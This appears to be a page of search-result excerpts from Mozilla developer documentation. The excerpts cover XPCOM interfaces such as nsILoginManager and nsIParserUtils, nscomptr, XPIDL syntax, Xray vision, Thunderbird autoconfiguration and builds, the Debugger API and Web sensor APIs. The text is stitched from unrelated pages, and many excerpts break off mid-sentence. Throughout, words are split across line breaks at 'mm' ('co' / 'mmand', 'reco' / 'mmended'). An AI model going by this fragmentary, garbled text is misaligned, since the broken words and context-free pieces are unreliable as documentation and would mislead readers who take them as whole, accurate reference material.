mmand(); void focus(); nsidomnodelist getelementsbyattribute(in domstring name, in domstring value); nsidomnodelist getelementsbyattributens(in domstring namespaceuri, in domstring name, in domstring value); attributes attribute type description align domstring gets/sets the value of the element's align attribute. allowevents boolean true if the element's allowevents attribute is the string "true", otherwise false. removes the attribute if you set it to false. boxobject nsiboxobject read only. gets or cr...
...e. collapsed boolean true if the element's collapsed attribute is the string "true", otherwise false. removes the attribute if you set it to false. contextmenu domstring gets/sets the value of the element's contextmenu attribute. controllers nsicontrollers read only. returns an nsicontrollers object that additional controllers may be appended to so as to provide focus-specific actions for co
mmands. database nsirdfcompositedatasource read only. returns the template builder's database, if it is an rdf template. datasources domstring gets/sets the value of the element's datasources attribute. dir domstring gets/sets the value of the element's dir attribute. flex domstring gets/sets the value of the element's flex attribute. flexgroup domstring gets/sets the value of the element'...
...t's tooltiptext attribute. top domstring gets/sets the value of the element's top attribute. width domstring gets/sets the value of the element's width attribute. methods blur() attempts to remove focus from the element. void blur(); parameters none. click() unless the element is disabled, sends mouse events that simulate the effect of clicking the mouse on the element, then calls the doco
mmand() method. void click(); parameters none. doco
mmand() generates and dispatches a basic co
mmand event, as if the element was clicked with no keyboard modifiers. void doco
mmand(); parameters none. focus() attempts to set focus to the element; will not work for example for disabled elements. void focus(); parameters none. getelementsbyattribute() searches the dom subtree for elements with the g...
nsIEffectiveTLDService
hm in full, including the implicit "*" rule. therefore, if you call getpublicsuffix("a.b.c.nonexistent"), you will get back "nonexistent" - this "tld" is not in the public suffix list, but the implicit "*" rule means that it is returned. this is the right answer for e.g. cookie setting and domain highlighting, but you should check whether it's the right answer for your application. it is not reco
mmended to use this interface for determining whether a given string "is a domain name". that question is unanswerable with 100% accuracy using the psl, because what is a domain name is a property of the dns, which is different for different people. is "mail.intranet" actually a domain name? depends who you ask - for some people it is, others not. is "pretty.flowers" a domain name, according to getp...
...requested aadditionalparts value. ns_error_host_is_ip_address this exception is thrown if auri is a numeric ipv4 or ipv6 address. ns_error_unexpected or other error returned by nsiidnservice.normalize() when the hostname contains characters disallowed in uris. getbasedomainfromhost() returns the base domain of a host string. otherwise identical to getbasedomain(). note: it is strongly reco
mmended that you use getbasedomain() if a suitable nsiuri is available. only use this method if this is not the case. acstring getbasedomainfromhost( in autf8string ahost, in pruint32 aadditionalparts optional ); parameters ahost the host string to be analyzed. aadditionalparts optional the number of domain name parts to be returned in addition to the public suffix. return value an ...
... hostname in auri is empty. ns_error_host_is_ip_address this exception is thrown if auri is a numeric ipv4 or ipv6 address. ns_error_unexpected or other error returned by nsiidnservice.normalize() when the hostname contains characters disallowed in uris. getpublicsuffixfromhost() returns the public suffix of a host string. otherwise identical to getpublicsuffix(). note: it is strongly reco
mmended to use getbasedomain() if a suitable nsiuri is available. only use this method if this is not the case. acstring getpublicsuffixfromhost( in autf8string ahost ); parameters ahost the host string to be analyzed. return value an acstring containing the public suffix. exceptions thrown ns_error_invalid_arg this exception is thrown if ahost is empty. ns_error_unexpected this e...
nsILoginManager
ogins that might be applicable to a given form or authentication request. void findlogins( out unsigned long count, in astring ahostname, in astring aactionurl, in astring ahttprealm, [retval, array, size_is(count)] out nsilogininfo logins ); parameters count the number of elements in the returned array. javascript callers can simply use the array's length property and supply a du
mmy argument for this parameter. ahostname the hostname to restrict searches to, formatted as a url. for example, "http://www.bar.com". aactionurl for form logins, this parameter should specify the url to which the form will be submitted. for protocol logins, specify null. an empty string ("") will match any value (except null). ahttprealm for protocol logins, specify the http realm for which ...
...ps://bugzilla.mozilla.org', '', '', {}); getalldisabledhosts() returns a list of all hosts for which login saving is disabled. void getalldisabledhosts( [optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames ); parameters count the number of elements in the returned array. javascript callers can simply use the array's length property and supply a du
mmy argument for this parameter. hostnames an array of hostname strings in url format without a pathname. for example: "https://www.site.com". example you can call this method from javascript like this: var disabledhosts = myloginmgr.getalldisabledhosts({}); getalllogins() returns an array containing all logins recorded by the login manager. if you just want to see if any logins are store...
...ored, use countlogins() instead. it's more efficient, and avoids the possibility of the user being prompted for their master password. void getalllogins( [optional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins ); parameters count the number of elements in the returned array. javascript callers can simply use the array's length property and supply a du
mmy argument for this parameter. logins an array of nsilogininfo objects containing all the logins the login manager has on record. example you can call this method from javascript like this: var logins = myloginmgr.getalllogins({}); getloginsavingenabled() reports whether or not saving login information is enabled for a host. boolean getloginsavingenabled( in astring ahost ); paramet...
nsIMsgSearchCustomTerm
*/ readonly attribute acstring id; name /// name to display in term list. this should be localized. ...
... */ readonly attribute acstring id; name /// name to display in term list. this should be localized. ...
... */ readonly attribute acstring id; name /// name to display in term list. this should be localized. ...
nsIMsgWindow
mailnews/base/public/nsimsgwindow.idlscriptable please add a su
mmary to this article. inherits from: nsisupports last changed in gecko 8 (firefox 8 / thunderbird 8 / seamonkey 2.5) implemented by: @mozilla.org/messenger/msgwindow;1. to create an instance, use: msgwindow = components.classes["@mozilla.org/messenger/msgwindow;1"] .createinstance(components.interfaces.nsimsgwindow); in thunderbird the default message window is stored in the global variable msgwindow. ...
...nterfaces.nsimsgwindow); in thunderbird the default message window is stored in the global variable msgwindow. method overview void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stopurls(); void closewindow(); attributes attribute type description windowco
mmands nsimsgwindowco
mmands this allows the backend code to send co
mmands to the ui, such as clearmsgpane. statusfeedback nsimsgstatusfeedback this allows the backend code to send status feedback to the ui. msgheadersink nsimsgheadersink this allows the backend code to send message header information to the ui. trans...
...he nsiwebnavigation object. void stopurls(); closewindow() when the msg window is being unloaded from the content window, this notification can be used to force a flush on anything the message window hangs on. for some reason xpconnect is still hanging onto the message window even though all of our objects have let go of it. this forces a release. it clears out the content listener, the windowco
mmands, the statusfeedback and the docshell objects. void closewindow(); remarks see also ...
nsIParserUtils
sanitizerallowstyle (1 << 1) flag for sanitizer: allow <style> elements and style attributes (with contents sanitized in case of -moz-binding). note: if -moz-binding is absent, properties that might be xss risks in other web engines are preserved! sanitizercidembedsonly (1 << 2) flag for sa...
...d long flags, in unsigned long wrapcol); nsidomdocumentfragment parsefragment(in astring fragment, in unsigned long flags, in boolean isxml, in nsiuri baseuri, in nsidomelement element); astring sanitize(in astring src, in unsigned long flags); constants constant value description sanitizerallowco
mments (1 << 0) flag for sanitizer: allow co
mment nodes. sanitizerallowstyle (1 << 1) flag for sanitizer: allow <style> elements and style attributes (with contents sanitized in case of -moz-binding). note: if -moz-binding is absent, properties that might be xss risks in other web engines are preserved! sanitizercidembedsonly (1 << 2) flag for sanitizer: only allow cid: urls for embedded content...
...ernalembedsonly flag. in that case, <a> links (and similar) to other content are preserved, so an explicit user action (following a link) after the content has been loaded can still leak information. by default, non-dangerous non-css presentational html elements and attributes or forms are not removed. to remove these, use sanitizerdropnoncsspresentation and/or sanitizerdropforms. by default, co
mments and css is removed. to preserve co
mments, use sanitizerallowco
mments. to preserve <style> elements and style attributes on other elements, use sanitizerallowstyle. -moz-binding is removed from <style> elements and style attributes if present. in this case, properties that gecko doesn't recognize can get removed as a side effect. note: if -moz-binding is not present, <style> elements and styl...
nsIProtocolProxyService
filter, in unsigned long aposition); void unregisterfilter(in nsiprotocolproxyfilter afilter); constants constant value description resolve_non_blocking 1<<0 this flag may be passed to the resolve method to request that it fail instead of block the calling thread. proxy auto config (pac) may perform a synchronous dns query, which may not return i
mmediately. so, calling resolve without this flag may result in locking up the calling thread for a lengthy period of time. by passing this flag to resolve, one can failover to asyncresolve to avoid locking up the calling thread if a pac query is required. when this flag is passed to resolve, resolve may throw the exception ns_base_stream_would_block to indicate that it failed due to this f...
...e, the consumer may choose to treat the result as type "direct" if desired. see nsiproxiedprotocolhandler.newproxiedchannel(). asyncresolve() this method is an asychronous version of the resolve method. unlike resolve, this method is guaranteed not to block the calling thread waiting for dns queries to complete. this method is intended as a substitute for resolve when the result is not needed i
mmediately. nsicancelable asyncresolve( in nsiuri auri, in unsigned long aflags, in nsiprotocolproxycallback acallback ); parameters auri the uri to test. aflags a bit-wise combination of the resolve_ flags defined above. pass 0 to specify the default behavior. any additional bits that do not correspond to a resolve_ flag are reserved for future use. acallback the object to be ...
..., if it is a http proxy and the nsiprotocolhandler for the queried uri does not permit proxying via http. if a nsiprotocolhandler disallows all proxying, then filters will never have a chance to intercept proxy requests for such urls. note: it is possible to construct filters that compete with one another in undesirable ways. this api does not attempt to protect against such problems. it is reco
mmended that any extensions that choose to call this method make their position value configurable at runtime (perhaps via the preferences service). void registerfilter( in nsiprotocolproxyfilter afilter, in unsigned long aposition ); parameters afilter the nsiprotocolproxyfilter instance to be registered. aposition the position of the filter. unregisterfilter() this method may be us...
nsIStyleSheetService
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports implemented by: @mozilla.org/content/style-sheet-service;1. ...
...ade (so the rules in it will have lower precedence than rules in those sheets). an agent sheet loaded via this api will come after ua.css in the cascade (so the rules in it will have higher precedence than rules in ua.css). the relative ordering of two user or two agent sheets loaded via this api is undefined. sheets added via this api take effect on all documents, including already-loaded ones, i
mmediately. void loadandregistersheet( in nsiuri sheeturi, in unsigned long type ); parameters sheeturi uri of the stylesheet to load and register. type one of the type constants. sheetregistered() check if a stylesheet has been registered boolean sheetregistered( in nsiuri sheeturi, in unsigned long type ); parameters sheeturi uri of the styles...
..., in unsigned long type ); parameters sheeturi uri of the stylesheet to check. type one of the type constants. return value returns true if a style sheet at sheeturi has previously been added to the list of style sheets specified by type. unregistersheet() remove the style sheet at sheeturi from the list of style sheets specified by type. the removal takes effect i
mmediately, even for already-loaded documents. void unregistersheet( in nsiuri sheeturi, in unsigned long type ); parameters sheeturi uri of the stylesheet to unregister. type one of the type constants. see also see using the stylesheet service for examples. ...
Frequently Asked Questions
ses a raw xpcom interface pointer as an `in/out' parameter? call a getter that fills in an nsifoo*& parameter? call a getter that doesn't addref its result? any xpcom function that returns an interface pointer, i.e., a `getter', must have already addrefed that pointer. if it didn't, you should probably report it as a bug. no matter which code pattern you use to solve this problem, you should co
mment it, e.g., // warning: this getter doesn't addref() its result. if the getter returns the new pointer as its function result, no worries, general does nscomptr bloat the code? are nscomptrs fast? can i use them in tight loops? bibliography web resources nscomptr.h, and nscomptr.cpp are the source to nscomptr. you can examine the source to nscomptr online using (the wonderful) lxr. explo...
...e faint of heart. some com ownership guidelines. interface pointers considered harmful by don box originally appeared in the september 1995 issue of "the c++ report". com smart pointers even more harmful by don box is a follow-up article that originally appeared in the february 1996 issue of "the c++ report". books essential com by don box. effective com by don box, et al. the c++ progra
mming language (3rd edition) by bjarne stroustrup. effective c++ (2nd edition): 50 specific ways to improve your programs and designs by scott meyers. more effective c++ : 35 new ways to improve your programs and designs by scott meyers. effective c++ cd: 85 specific ways to improve your programs and designs by scott meyers. people don box is a smart guy who has been writing about com progra...
...ing language (3rd edition) by bjarne stroustrup. effective c++ (2nd edition): 50 specific ways to improve your programs and designs by scott meyers. more effective c++ : 35 new ways to improve your programs and designs by scott meyers. effective c++ cd: 85 specific ways to improve your programs and designs by scott meyers. people don box is a smart guy who has been writing about com progra
mming for a long time. ...
Reference Manual
rv = getfoo( &(nsifoo*)foo ); // sure, they compile; but now you leak. to help prevent this, we are trying to make the first form, above, illegal by making operator& private. see bug 59414. implementation details and debugging machinery although it is a class, nscomptr has no virtual methods, and therefore, no vtable or vptr. because a few key routines are factored out into a co
mmon non-template base class, the actual underlying pointer is stored as an nsisupports* (except in debug builds where nscap_feature_debug_ptr_types is turned on). it is because of these factored routines that nscomptr users must link with the xpcom library. when nscap_feature_debug_ptr_types is turned on, instead of holding its underlying pointer in a variable of type nsisupports*, the nscomptr hol...
...s destructor, and the more complicated constructors and assignment operators. by following the optimization tips in this section, you will write code that generates fewer bytes of object than you might with raw pointers. even if you don't follow these suggestions, your nscomptr code may still end up smaller, or at worst only negligibly bulkier than the raw pointer version. see code bloat [long, su
mmary at top] for details, though the reco
mmendations from that document are re-iterated here. time [[more time-performance measurements are needed.]] in places where two or more subroutines calls are required, i.e., of addref, release, and queryinterface, some nscomptr routines are factored, and hence, require additional time corresponding to invoking a subroutine. this time is negligable, especial...
...s returned by getfoo. the case using the temporary, however, uses construction to put the value into the nscomptr, which (though slightly more complicated in source) is more efficient than default construction followed by assignment, the course of events followed by the simpler example. prefer destruction to assignment prefer do_queryinterface to calling queryinterface iterating there is a very co
mmon idiom for iterating over data-structures with normal pointers, e.g., // iterating with pointers to non-xpcom objects... node* p = ...; while ( p ) { // ... p = p->next; } one often sees this pattern expressed as a for loop, as well. consider, however, what would happen if you were trying to do this with a raw xpcom interface pointer. ...
XPIDL Syntax
see xpidl main page for more links and introductory content. ...
... understanding. lexically, tokens are delimited by whitespace (defined here as spaces, tabs, vertical tabs, form feeds, line feeds, and carriage returns, or [ \t\v\f\r\n] in regular expression form). libidl only considers a single line feed as a newline, and not carriage returns (although xpidl begs to differ). additionally, the use of both c-style (/* ... */) and c++-style (// ... end-of-line) co
mments are permitted between any two tokens. some productions can only occur at the beginning of lines; to simplify the gra
mmar, i will not mention them in the gra
mmar, especially since they are handled as a preprocessing step before the idl source code is actually parsed. a `%{' that appears at the beginning of a line is the start of a raw code fragment, which extends until the end of a line that...
...s until the end of a line that begins with `%}'. text inside raw code fragments are not otherwise parsed by xpidl directly. this may be followed by the language, as in `%{c++', to output the raw fragment only in the specified language. a `#include "file"' line instructs the xpidl processor to include that file in the same sense that the c preprocessor includes a file. note that includes within co
mments or raw code fragments are not processed by xpidl. unlike the c preprocessor, when a file is included multiple times, it acts as if the subsequent includes did not happen; this prevents the need for include guards. xpidl syntax (abnf) the root production here is idl_file. idl_file = 1*definition definition = [type_decl / const_decl / interface] ";" interface = [prop_list] "interface" ident ...
xpidl
pyxpidl has been used for some time now, but now this older tool has been fully retired. xpidl is based on the libidl idl compiler from the gnome project. ...
...rom the gnome project. the xpidl compiler is now part of the build process, allowing us to generate headers used by the xpcom components. please check the build documentation for further information on where to get libidl and glib. using xpidl to add an idl file to the build, use the xpidlsrcs makefile variable. ...
...idl and glib. using xpidl to add an idl file to the build, use the xpidlsrcs makefile variable. for testing purposes, or one-off interface compilation, xpidl can be run from the co
mmand line: usage: ./xpidl -m mode [-w] [-v] [-t version number] [-d filename.pp] [-i path] [-o basename | -e filename.ext] filename.idl -a emit annotations to typelib -w turn on warnings (reco
mmended) -v verbose mode (nyi) -t create a typelib of a specific version number -i add entry to start of include path for ``#include "nsithing.idl" -o use basename (e.g. ``/tmp/nsithing) for output -e use explicit output filename -d write dependencies (requires -e) -m specify output mode: header generate c++ header (.h) ...
Xray vision
oth to other websites and to the user. as well as these two levels of privilege, chrome code can create sandboxes. the security principal defined for the sandbox determines its privilege level. if an expanded principal is used, the sandbox is granted certain privileges over content code and is protected from direct access by content code. the security machinery in gecko ensures that there's asy
mmetric access between code at different privilege levels: so for example, content code can't access objects created by chrome code, but chrome code can access objects created by content. however, even the ability to access content objects can be a security risk for chrome code. javascript's a highly malleable language. scripts running in web pages can add extra properties to dom objects (also kn...
..., it sees them with xray vision: // chrome code var transfer = gbrowser.contentwindow.confirm("transfer all my money?"); // calls the native implementation note that using window.confirm() would be a terrible way to implement a security policy, and is only shown here to illustrate how xray vision works. waiving xray vision xray vision is a kind of security heuristic, designed to make most co
mmon operations on untrusted objects simple and safe. however, there are some operations for which they are too restrictive: for example, if you need to see expandos on dom objects. in cases like this you can waive xray protection, but then you can no longer rely on any properties or functions being, or doing, what you expect. any of them, even setters and getters, could have been redefined by untru...
...to understand exactly what the code is doing. that includes the code samples in this article. xray semantics for object and array the exceptions are object and array: their interesting state is in javascript, not c++. this means that the semantics of their xrays have to be independently defined: they can't simply be defined as "the c++ representation". the aim of xray vision is to make most co
mmon operations simple and safe, avoiding the need to access the underlying object except in more involved cases. so the semantics defined for object and array xrays aim to make it easy for privileged code to treat untrusted objects like simple dictionaries. any value properties of the object are visible in the xray. if the object has properties which are themselves objects, and these objects are s...
Mozilla technologies
of its projects. these are documented here. accessibility api implementation detailsthese pages contain documentation on mozilla specific implementation details of assistive technology apis.animated png graphicsapng is an extension of the portable network graphics (png) format, adding support for animated images. apng is a simpler alternative to mng, providing a spec suitable for the most co
mmon usage of animated images on the internet.docshelldocshell is the second iteration of what originally started out as webshell. at the moment, the transition from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell.embedded dialog apifeed content access apifirefox 2 and thunderbird 2 introduce a series of interfaces that m...
...starting with mozilla 1.9, it was phased out in favor of sqlite, a more widely-supported file format.placesplaces is the bookmarks and...
...licity stream is a mozilla-hosted activity stream generated by a user's application usage. the publicity stream is provided as a central place for applications to publicize application usage for the purpose of notifying a user's friends of the applications which their friends are using. it is not meant as a general application messaging system. toolkit apithe mozilla toolkit is a set of progra
mming interfaces (apis) built on top of gecko which provide advanced services to xul applications. these services include:viewing and searching mozilla source code onlinesource code for all mozilla projects hosted in the mercurial repositories can be searched and viewed online using searchfox, a fast indexed search engine that runs on aws.xml extrasthe xml extras module contains several features tha...
Autoconfiguration in Thunderbird
on folder. this is mainly intended for companies who install thunderbird on their employees' computers and want to enable easy account setup without having to set up a configuration server. this method is not practical for other use cases, because it is difficult to update the configuration file. guessing if all other mechanisms failed, thunderbird tries to guess the configuration, by trying co
mmon server names like imap.<domain>, smtp.<domain>, mail.<domain> etc., and, when a mail server answers, checking whether it supports ssl, starttls and encrypted passwords (cram-md5). manual configuration if guessing fails, the user must manually enter the configuration information. users may also choose to manually modify the account settings, even if configuration information is successfully o...
...toconfig.hoster.com/$1 [l,r=301,ne] #... </virtualhost> <virtualhost *:80> documentroot /var/www/autoconfig/ servername autoconfig.hoster.com <directory /var/www/autoconfig> order allow,deny allow from all </directory> </virtualhost> if you use nginx, you can easily add a subdomain to all your domains, which does the same as above. ...
...der allow,deny allow from all </directory> </virtualhost> if you use nginx, you can easily add a subdomain to all your domains, which does the same as above. either, you can redirect them to a co
mmon hostname: server { listen 10.2.3.4:80; #use your server's public ip here! server_name autoconfig.*; return 301 http://autoconfig.hoster.com$request_uri; } or serve them directly from a co
mmon directory: server { listen 10.2.3.4:80; #again, use your server's public ip here! server_name autoconfig.*; location / { root /var/www/autoconfig; } } ssl https was added in june 2019 to the spec. please use https whenever possible. former versions of this spec defined http only. http is still supported for existing hosts and in order to support domain hosters. http is deprecated now,...
Thunderbird Binaries
read the testing page for where we need help. warning: whilst developers try to ensure that nightly builds are stable, it is possible that errors can get into nightly builds that can destroy your data or harm it. they should only be used for testing purposes. if you wish to use a nightly build on your main profile, you should make sure you back up your profile. ...
...u should make sure you back up your profile. nightly builds from the co
mm-central trunk the trunk is the central source code that is used for continuous and ongoing development. trunk builds contain the very latest bleeding-edge changes and updates, as well as 64-bit builds for windows. latest english trunk builds are available at: https://archive.mozilla.org/pub/thunderbird/nightly/latest-co
mm-central/ latest localized trunk builds are available at: https://archive.mozilla.org/pub/thunderbird/nightly/latest-co
mm-central-l10n/ note: please use http://ftp.stage.mozaws.net/pub/thunderbird/nightly/latest-co
mm-central/ because the above two links currently do not work. frequently asked questions what is the trunk? the trunk is the central source code that is used for continuous and ong...
...also take months to test and implement correctly. their changes will be made to the trunk so that they don't delay the release and will be picked up in future branches. distinguishing between different nightly builds the main way you can determine if you are using a trunk or branch build is to click the "help" menu and choose "about". you should see a string that looks something like this: co
mm-central-1.9.2 branch: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9.2.2pre) gecko/20100308 lanikai/3.1b1pre co
mm-central-trunk: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9.3a1pre) gecko/20090826 shredder/3.1a1pre the part that you want to note is the gecko revision number (rv) and the thunderbird version string. these correspond to which build you are using. it works ...
Theme Packaging
f cascading stylesheets (css), probably xbl, and some graphic design and aesthetic skill (...or maybe not). this document describes only how themes are packaged in order to be shown in firefox's themes window. theme file layout thunderbird themes are packaged in an xpi file with the following structure: theme.xpi: install.rdf preview.png icon.png chrome/ browser/files co
mmunicator/files global/files mozapps/files ... you must have a top-level chrome.manifest file which registers the chrome for the theme (as before) and also an install.rdf manifest that specifies metadata that is displayed in the appearance section of the add-ons manager. preview.png is a preview image which will show when double-clicked on a theme in the appearance section o...
...do not add to this list without contacting benjamin smedberg. note that this page is included from t...
...03-e582-4d05-9a08-453d09bdfdc6} seamonkey {92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} pale moon {8de7fcbb-c55c-4fbe-bfc5-fc555c87dbc4} official references for toolkit api official references. do not add to this list without contacting benjamin smedberg. note that this page is included from the pages listed below. ...
Using MAPI with Thunderbird's Windows 7 developer builds
mapi (messaging application progra
mming interface) is a windows feature that allows applications to send files via a system's default mail application. the thunderbird installer sets the installed build as the default mapi/mail client. if you want to set a debug build as the default mail client, you need configure it manually: in the objdir/mozilla/dist/bin directory, copy mozmapi32.dll to mozmapi32_inuse.dll and mapiproxy to mapiproxy_inuse.dll. (be sure to copy - not move - these files.) in the uninstall sub-directory of the bin directory, run these two co
mmands: helper.exe /setasdefaultappglobal helper.exe /setasdefaultappuser create an elevated shell and register the mapi proxy.dll as a com server. ...
...py mozmapi32.dll to mozmapi32_inuse.dll and mapiproxy to mapiproxy_inuse.dll. (be sure to copy - not move - these files.) in the uninstall sub-directory of the bin directory, run these two co
mmands: helper.exe /setasdefaultappglobal helper.exe /setasdefaultappuser create an elevated shell and register the mapi proxy.dll as a com server. ...
...ectory, run these two co
mmands: helper.exe /setasdefaultappglobal helper.exe /setasdefaultappuser create an elevated shell and register the mapi proxy.dll as a com server. ...
ctypes
ibspec the native library to open, specified as a pathname string. return value a library object representing the opened library. examples example of structtype() on windows let's say we need tb_button, this type needs to be created. so we look up on msdn what the tb_button structures is (msdn :: tb_button structure) and it says it is: typedef struct { int ibitmap; int idco
mmand; byte fsstate; byte fsstyle; #ifdef _win64 byte breserved[6]; #else #if defined(_win32) byte breserved[2]; #endif #endif dword_ptr dwdata; int_ptr istring; } tbbutton, *ptbbutton, *lptbbutton; so now notice that if it's 64-bit process it's different than if it's 32-bit process. so we will figure that out and create the structure appropriately. this is what th...
...tr istring; } tbbutton, *ptbbutton, *lptbbutton; so now notice that if it's 64-bit process it's different than if it's 32-bit process. so we will figure that out and create the structure appropriately. ...
...
mmand': ctypes.int}, {'fbstate': ctypes.unsigned_char}, {'fsstyle': ctypes.unsigned_char}, {'breserved': ctypes.unsigned_char}, {'breserved2': ctypes.unsigned_char}, {'dwdata': ctypes.uintptr_t}, {'istring': ctypes.intptr_t} ]); } else if (ctypes.voidptr_t.size == 8 /* 64-bit */) { struct_tbbutton = ctypes.structtype('tbbutton', [ {'ibitmap': ctypes.int}, {'idco
mmand': ctypes.int}, {'fbstate': ctypes.unsigned_char}, {'fsstyle': ctypes.unsigned_char}, {'breserved': ctypes.unsigned_char}, {'breserved2': ctypes.unsigned_char}, {'breserved3': ctypes.unsigned_char}, {'breserved4': ctypes.unsigned_char}, {'breserved5': ctypes.unsigned_char}, {'breserved6': ctypes.unsigned_char}, {'dwdata': ctypes.uintptr_t}, {'istring': ct...
Streams - Plugins
ser stores private data in stream->ndata; this value should not be changed by the plug-in. nperror npp_destroystream(npp instance, npstream *stream, nperror reason); the instance parameter is the current plug-in instance; the stream parameter specifies the stream to be deleted. the reason parameter specifies why the stream was destroyed. it can have one of these values: npres_done (most co
mmon): normal completion; all data was sent to the instance. npres_user_break: the user canceled the stream directly by clicking the stop button or indirectly by some action, such as by deleting the instance or initiating higher-priority network operations. npres_network_err: the stream failed because of problems with the network, disk i/o error, lack of memory, or some other problem. finding ou...
...up to 8k bytes. after this data is copied from the browser's buffer to the plug-in's buffer, the plug-in begins to process the data asynchronously. at the next npp_writeready call, only half of the data has been processed. to avoid allocating additional buffers, the plug-in could return 4096, resulting in a call to npp_write with a buffer of up to 4k bytes. the buffer passed to npp_write may acco
mmodate more bytes than the maximum number returned from npp_writeready . this maximum is only a promise to consume a certain amount of data from the buffer, not an upper limit on the buffer size. in the example above, suppose that the plug-in allocates an 8k buffer and returns 8192 from npp_writeready. if the plug-in gets 10000 bytes from the browser in a subsequent call to npp_write, the plug-in s...
...in creates with npn_newstream or streams created by the browser with npp_newstream. nperror npn_destroystream(npp instance, npstream* stream, nperror reason); the instance parameter is the current plug-in; the stream parameter specifies the stream, created by either the browser or the plug-in. the reason parameter represents the reason the stream was stopped, as follows: npres_done (most co
mmon): the stream completed normally; the plug-in sent all data to the browser. npres_user_break: the plug-in terminated the stream because of a user request. npres_network_err: the stream failed because of network problems. for the complete list of codes, see "result codes." for an example that demonstrates using this function with npn_newstream and npn_write, see "example of sending a stream.
Debugger.Frame - Firefox Developer Tools
r does not reveal all the frames that are actually present on the stack: while it does reveal all frames running debuggee code, it omits frames running the debugger’s own code, and omits most frames running non-debuggee code. we call those stack frames a debugger does reveal visible frames. ...
... own code, and omits most frames running non-debuggee code. we call those stack frames a debugger does reveal visible frames. a frame is a visible frame if any of the following are true: it is running debuggee code; its i
mmediate caller is a frame running debuggee code; or it is a "debugger" frame, representing the continuation of debuggee code invoked by the debugger. the “i
mmediate caller” rule means that, when debuggee code calls a non-debuggee function, it looks like a call to a primitive: you see a frame for the non-debuggee function that was accessible to the debuggee, but any further calls that function makes are treated as internal details, and omitted from the stack trace. if the non-debuggee function eventually calls back into debuggee code, then those frame...
...debuggee function, it looks like a call to a primitive: you see a frame for the non-debuggee function that was accessible to the debuggee, but any further calls that function makes are treated as internal details, and omitted from the stack trace. if the non-debuggee function eventually calls back into debuggee code, then those frames are visible. (note that the debuggee is not considered an “i
mmediate caller” of handler methods it triggers. even though the debuggee and debugger share the same javascript stack, frames pushed for spidermonkey’s calls to handler methods to report events in the debuggee are never considered visible frames.) invocation functions and “debugger” frames aninvocation function is any function in this interface that allows the debugger to invoke code in t...
Debugger-API - Firefox Developer Tools
e analysis, patch-and-continue, and so on. debugger has three essential qualities: it is a source level interface: it operates in terms of the javascript language, not machine language. it operates on javascript objects, stack frames, environments, and code, and presents a consistent interface regardless of whether the debuggee is interpreted, compiled, or optimized. if you have a strong co
mmand of the javascript language, you should have all the background you need to use debugger successfully, even if you have never looked into the language’s implementation. it is for use by javascript code. javascript is both the debuggee language and the tool implementation language, so the qualities that make javascript effective on the web can be brought to bear in crafting tools for dev...
...ce: using (or even misusing) debugger should never cause gecko to crash. errors throw proper javascript exceptions. it is an intra-thread debugging api. both the debuggee and the code using debugger to observe it must run in the same thread. cross-thread, cross-process, and cross-device tools must use debugger to observe the debuggee from within the same thread, and then handle any needed co
mmunication themselves. (firefox’s builtin tools have a protocol defined for this purpose.) in gecko, the debugger api is available to chrome code only. by design, it ought not to introduce security holes, so in principle it could be made available to content as well; but it is hard to justify the security risks of the additional attack surface. the debugger api cannot currently observe self-...
...bugger instances. examples here are some things you can try out yourself that show off some of debugger’s features: setting a breakpoint in a page, running a handler function when it is hit that evaluates an expression in the page’s context. showing how many objects different call paths allocate. gecko-specific features while the debugger core api deals only with concepts co
mmon to any javascript implementation, it also includes some gecko-specific features: [global tracking][global] supports debugging all the code running in a gecko instance at once—the ‘chrome debugging’ model. [object wrapper][wrapper] functions help manipulate object references that cross privilege boundaries. source metadata generated from file: js/src/doc/debugger/debugger-api.m...
Web Console remoting - Firefox Developer Tools
introduction this document describes the way web console remoting works. the web console is split between a client with its user interface, and the server which has listeners for all the things that happen in the tab. for co
mmunication between the server and the client we use the remote debugging protocol. this architecture allows you to connect a web console client instance to a server running on b2g, fennec or some other firefox instance. to better understand the architecture of the web console we reco
mmend learning about the debugger architecture. the remote web console is a feature introduced in firefox 18. this document describes the latest protocol, with changes that have been made since then. the webconsoleactor and the webconsoleclient the webconsoleactor lives in dbg-...
...for very short request/response bodies we send the raw text. starting with firefox 19: for non-text response types we send the content in base64 encoding (again, most likely a longstringactor grip). to tell the difference just check if response.content.encoding == "base64". the geteventtimings packet: { "to": "conn0.netevent15", "type": "geteventtim...
...d the message property from the pageerror packet notification, bug 877773. the linetext and errormessage properties can be long string actors now. firefox 25: added the url option to the evaluatejs request packet. firefox 25: added the getpreferences and sendhttprequest request packets to the console actor, bug 886067 and bug 731311. conclusions as of this writing, this document is a dense su
mmary of the work we did in bug 768096 and subsequent changes. we try to keep this document up-to-date. we hope this is helpful for you. if you make changes to the web console server please update this document. thank you! ...
AbsoluteOrientationSensor - Web APIs
taken, meaning the number of times per second that sensor.onreading will be called. a whole number or decimal may be used, the latter for frequencies less than a second. ...
...sensor.onreading will be called. a whole number or decimal may be used, the latter for frequencies less than a second. the actual reading frequency depends device hardware and consequently may be less than requested. ...
... device hardware and consequently may be less than requested. referenceframe: either 'device' or 'screen'. the default is 'device'. ...
Accelerometer.Accelerometer() - Web APIs
e taken, meaning the number of times per second that sensor.onerror will be called. a whole number or decimal may be used, the latter for frequencies less than a second. ...
...t sensor.onerror will be called. a whole number or decimal may be used, the latter for frequencies less than a second. ...
...frequency depends device hardware and consequently may be less than requested. referenceframe: either 'device' or 'screen'. the default is 'device'. ...
Accelerometer - Web APIs
nt callback. in the example below this occurs sixty times a second. ...
... times a second. ...
... the x-axis " + acl.x); console.log("acceleration along the y-axis " + acl.y); console.log("acceleration along the z-axis " + acl.z); }); acl.start(); specifications specification status co
mment generic sensor api candidate reco
mmendation defines sensors in general. accelerometerthe definition of 'accelerometer' in that specification. candidate reco
mmendation ...
AmbientLightSensor.AmbientLightSensor() - Web APIs
frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called. ...
...d a sample should be taken, meaning the number of times per second that sensor.onreading will be called. a whole number or decimal may be used, the latter for frequencies less than a second. ...
...er for frequencies less than a second. the actual reading frequency depends device hardware and consequently may be less than requested. ...
Animation.play() - Web APIs
